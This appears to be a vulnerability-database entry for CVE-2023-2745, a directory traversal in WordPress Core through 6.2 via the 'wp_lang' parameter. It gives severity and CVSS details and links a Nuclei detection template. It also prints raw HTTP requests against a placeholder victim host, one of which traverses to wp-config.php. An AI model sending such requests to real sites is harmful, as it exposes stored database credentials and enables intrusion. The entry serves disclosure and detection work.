| Title | WordPress Core <=6.2 - Directory Traversal |
|---|---|
| Author | nqdung2002 |
| Severity | Medium |
| Impact | This allows unauthenticated attackers to access and load arbitrary translation files. In cases where an attacker is able to upload a crafted translation file onto the site, such as via an upload form, this could be also used to perform a Cross-Site Scripting attack. |
| Remediation | Apply the latest security patches and updates from the vendor to address this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.77784 |
| CWE ID | CWE-22 |
| Tags | cve cve2023 wpscan disclosure wp wordpress lfi vuln |
WordPress Core is vulnerable to Directory Traversal in versions up to, and including, 6.2, via the ‘wp_lang’ parameter.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Connection: close
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; en-US) Gecko/20010604 Firefox/109.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=56Q5Fv&pwd=rASlba&wp-submit=Log+In&testcookie=1
GET /wp-login.php?wp_lang=../../../../../../../wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2745.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-2745.pcap
N/AN/A